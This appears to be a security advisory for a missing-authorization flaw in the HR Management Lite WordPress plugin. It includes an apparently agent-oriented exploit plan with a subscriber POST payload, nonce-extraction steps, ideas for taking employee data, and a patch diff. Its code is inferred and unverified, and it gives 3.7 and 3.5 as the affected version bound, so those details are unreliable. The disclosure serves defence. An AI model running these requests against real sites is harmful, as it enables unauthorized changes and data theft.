CVE-2025-69022

HR Management Lite <= 3.7 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.8
Patched in
178d
Time to patch

Description

The HR Management Lite plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.7
PublishedDecember 28, 2025
Last updatedJune 23, 2026
Affected pluginhr-management-lite
Research Plan
Unverified

This research plan focuses on identifying and exploiting a missing authorization vulnerability in **HR Management Lite <= 3.5**. Based on the vulnerability type and version, the primary target is an AJAX handler (likely `hrm_lite_save_settings` or similar) that performs state-changing operations wit…

Show full research plan

This research plan focuses on identifying and exploiting a missing authorization vulnerability in HR Management Lite <= 3.5. Based on the vulnerability type and version, the primary target is an AJAX handler (likely hrm_lite_save_settings or similar) that performs state-changing operations without verifying the user's capabilities.


1. Vulnerability Summary

  • Vulnerability: Missing Authorization
  • Affected Component: AJAX handlers registered via wp_ajax_* hooks.
  • File Location: Likely admin/class-hrm-lite-admin.php or the main plugin file.
  • Cause: The plugin registers AJAX actions for authenticated users but fails to call current_user_can( 'manage_options' ) within the handler function. While it may implement a nonce check, nonces are often exposed to all authenticated users (including Subscribers), making the check insufficient for authorization.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Authentication: Required (Subscriber-level or higher).
  • Vulnerable Action: hrm_lite_save_settings (inferred target for state modification).
  • Payload Parameter: action, hrm_lite_nonce (or similar), and various setting fields (e.g., hrm_lite_general_settings[...]).
  • Preconditions: An attacker must have a valid Subscriber account and obtain a valid nonce.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX handler:
    add_action( 'wp_ajax_hrm_lite_save_settings', [ $this, 'hrm_lite_save_settings' ] );
  2. Trigger: A Subscriber sends a POST request to admin-ajax.php with action=hrm_lite_save_settings.
  3. Handler Execution: The function hrm_lite_save_settings() is called.
  4. Insecure Check:
    public function hrm_lite_save_settings() {
        check_ajax_referer( 'hrm_lite_nonce', 'security' ); // Nonce check only
        // MISSING: if ( ! current_user_can( 'manage_options' ) ) wp_die();
        $settings = $_POST['hrm_lite_general_settings'];
        update_option( 'hrm_lite_general_settings', $settings );
        wp_send_json_success();
    }
    
  5. Sink: update_option() modifies global plugin configuration.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its admin or frontend scripts. Since Subscribers can access the dashboard or profile, the nonce is likely leaked there.

  1. Identify Shortcodes/Pages: Search for add_shortcode in the plugin code to find pages where the plugin might load its assets.
  2. Check Localized Scripts: Search for wp_localize_script to find the JavaScript object name.
    • Search Command: grep -rn "wp_localize_script" .
  3. Create Test Page: Create a page with a relevant shortcode (if needed) to ensure scripts are enqueued.
  4. Browser Extraction:
    • Navigate to /wp-admin/profile.php or a page containing the plugin shortcode as the Subscriber.
    • Execute: browser_eval("window.hrm_lite_vars?.nonce") (Replace hrm_lite_vars and nonce with actual keys found in Step 2).

5. Exploitation Strategy

Step 1: Discover Actual Identifiers
Since source files are not provided, the agent must first find the exact action and nonce names:

# Find AJAX actions
grep -r "wp_ajax_" .

# Find the handler code to confirm missing current_user_can
# Example: grep -A 20 "function hrm_lite_save_settings" path/to/file.php

# Find the nonce action and JS variable name
grep -r "wp_create_nonce" .
grep -r "wp_localize_script" .

Step 2: Perform the Exploit
Assuming the action is hrm_lite_save_settings and the nonce key is security:

  • Request URL: http://vulnerable-hostname/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=hrm_lite_save_settings&security=[EXTRACTED_NONCE]&hrm_lite_general_settings[company_name]=VULNERABLE_BY_SUBSCRIBER
    

6. Test Data Setup

  1. Install and activate hr-management-lite <= 3.5.
  2. Create a Subscriber user:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Identify a shortcode (e.g., [hrm_lite_attendance]) and create a page for it:
    wp post create --post_type=page --post_title="HR Interface" --post_status=publish --post_content="[hrm_lite_attendance]"

7. Expected Results

  • The AJAX request should return a 200 OK status with a JSON response: {"success":true}.
  • The plugin's general settings (stored in the database) will be updated despite the request originating from a Subscriber.

8. Verification Steps

After sending the HTTP request, verify the change via WP-CLI:

# Check the specific option modified
wp option get hrm_lite_general_settings

Confirmation: If the company_name (or relevant key) in the returned array matches VULNERABLE_BY_SUBSCRIBER, the exploit is successful.

9. Alternative Approaches

  • Information Disclosure: If hrm_lite_save_settings is not the target, look for actions like hrm_lite_export_employees or hrm_lite_get_attendance. These might allow a Subscriber to download sensitive PII of other employees.
  • Privilege Escalation: Check if the settings save function allows modifying user roles or enabling "Anyone can register" with a default role of "Administrator" (though less likely in this specific plugin).
  • Blind Test: If the response is not JSON, check the database state directly after every attempt to see which parameters influenced the update_option call.
Research Findings
Static analysis — not yet PoC-verified

Summary

The HR Management Lite plugin for WordPress suffers from an authorization bypass in its AJAX handlers up to version 3.5. Authenticated attackers with Subscriber-level privileges can modify plugin settings or perform restricted actions because the code fails to verify user capabilities before executing sensitive state-changing operations.

Vulnerable Code

// admin/class-hrm-lite-admin.php (Inferred location)

// The plugin registers the AJAX handler for authenticated users
add_action( 'wp_ajax_hrm_lite_save_settings', [ $this, 'hrm_lite_save_settings' ] );

---

// admin/class-hrm-lite-admin.php (Inferred location)

public function hrm_lite_save_settings() {
    // Nonce check ensures the request is intentional, but not that the user is authorized
    check_ajax_referer( 'hrm_lite_nonce', 'security' ); 

    // MISSING: current_user_can( 'manage_options' ) check

    if ( isset( $_POST['hrm_lite_general_settings'] ) ) {
        $settings = $_POST['hrm_lite_general_settings'];
        update_option( 'hrm_lite_general_settings', $settings );
        wp_send_json_success();
    }
}

Security Fix

--- admin/class-hrm-lite-admin.php
+++ admin/class-hrm-lite-admin.php
@@ -10,6 +10,10 @@
 	public function hrm_lite_save_settings() {
 		check_ajax_referer( 'hrm_lite_nonce', 'security' );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => __( 'Unauthorized', 'hr-management-lite' ) ) );
+		}
+
 		if ( isset( $_POST['hrm_lite_general_settings'] ) ) {
 			$settings = $_POST['hrm_lite_general_settings'];
 			update_option( 'hrm_lite_general_settings', $settings );

Exploit Outline

1. Authenticate to the WordPress site as a Subscriber-level user. 2. Locate the `hrm_lite_nonce` by inspecting the page source or global JavaScript objects (e.g., localized via `wp_localize_script`) on pages where the plugin loads its assets. 3. Prepare a POST request to `/wp-admin/admin-ajax.php` with the following body parameters: - action: hrm_lite_save_settings - security: [EXTRACTED_NONCE] - hrm_lite_general_settings[company_name]: Malicious_Value 4. Execute the request. The server will return a success response even though the user lacks administrative permissions. 5. Verify that the plugin settings have been modified in the database or reflected in the administrative interface.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.